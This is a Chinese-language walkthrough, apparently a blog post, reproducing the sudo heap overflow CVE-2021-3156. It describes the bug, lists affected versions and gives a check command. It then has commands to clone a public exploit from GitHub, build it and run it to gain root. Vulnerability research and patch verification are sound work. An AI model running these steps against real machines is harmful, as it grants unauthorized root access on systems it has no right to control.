CVE-2021-3156 漏洞復現
簡介
2021年1月26日,Linux安全工具sudo被發現嚴重的基於堆緩沖區溢出漏洞。利用這一漏洞,攻擊者無需知道用戶密碼,一樣可以獲得root權限,並且是在默認配置下。此漏洞已分配為CVE-2021-3156,危險等級評分為7分。
當sudo通過-s或-i命令行選項在shell模式下運行命令時,它將在命令參數中使用反斜杠轉義特殊字符。但使用-s或-i標志運行sudoedit時,實際上並未進行轉義,從而可能導致緩沖區溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻擊者就可以使用本地普通用戶利用sudo獲得系統root權限。研究人員利用該漏洞在多個Linux發行版上成功獲得了完整的root權限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),並且sudo支持的其他操作系統和Linux發行版也很容易受到攻擊。
漏洞影響范圍
受影響版本
- Sudo 1.8.2 – 1.8.31p2
- Sudo 1.9.0 – 1.9.5p1
不受影響版本
sudo =>1.9.5p2
漏洞復現
查看Linux及sudo版本
lsb_release -a
sudo -V
簡單測試漏洞是否存在
sudoedit -s /
如果返回以sudoedit:開頭的錯誤,則當前系統可能存在安全風險;
不受影響的系統將顯示以usage:開頭的錯誤。
下載exp
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
編譯exp
make
添加執行權限
chmod a+x sudo-hax-me-a-sandwich
exp提權測試
./sudo-hax-me-a-sandwich 0